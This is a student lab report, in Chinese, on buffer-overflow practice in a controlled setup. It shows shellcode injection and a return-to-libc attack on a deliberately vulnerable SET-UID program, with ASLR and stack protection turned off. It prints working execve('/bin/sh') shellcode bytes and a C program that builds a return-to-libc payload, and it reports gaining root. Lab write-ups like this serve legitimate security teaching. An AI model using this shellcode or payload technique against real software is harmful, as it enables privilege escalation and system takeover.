您的位置:首页 > 理论基础 > 计算机网络

20145222黄亚奇《网络对抗》 逆向及BOF进阶实践学习总结

2017-04-11 20:24 309 查看

20145222《网络对抗》 逆向及BOF进阶实践学习总结

实践目的

1.注入shellcode

2.实现Return-to-libc攻击

知识点学习总结

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起

Linux中两种基本构造攻击buf的方法:retaddr+nop+shellcode,nop+shellcode+retaddr,缓冲区小就就把shellcode放后边,不然就放前边。

Return-to-libc是缓冲区溢出的变体攻击,这种攻击不需要一个栈可以执行,甚至不需要一个shelcode,取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的lib库中的system()函数等)来实现我们的攻击。

过程概述

一、注入shellcode

1.构造shellcode





2.设置堆栈可执行,并查询堆栈是否可执行,以便shellcode在堆栈上可以执行;关闭地址随机化,避免每次执行分配的内存地址不同



3.采取nop+shellcode+retaddr方式构造payload(\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,需要将它改为shellcode的地址)

1)Linux下有两种基本构造攻击buf的方法:

//缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
1.retaddr+nop+shellcode
2.nop+shellcode+retaddr(我采用的是这种)

2)在终端中输入如下:

[code]perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
[/code]
4.调试确定该地址





5:通过如下方式寻找需要输入的地址:



6.按照anything+retaddr+nops+shellcode修改input_shellcode,运行成功



Retuen-to-libc实验

一、配置实验环境



二、漏洞程序

1.将漏洞程序保存在/tmp目录下,编译该程序,并设置SET-UID:
2.我们还需要用到一个读取环境变量的程序:



retlib.c代码:



三、攻击程序

1.把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");

strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times

*(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}

2.用getenvaddr程序获得BIN_SH地址:



3.利用gdb获得system和exit地址:



4.将找到的三个内存地址填写在exploit.c中:



5.删除刚才调试编译的exploit程序和badfile文件,重新编译修改后的exploit.c:



6.先运行攻击程序exploit,再运行漏洞程序retlib,攻击成功,获得了root权限:





内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: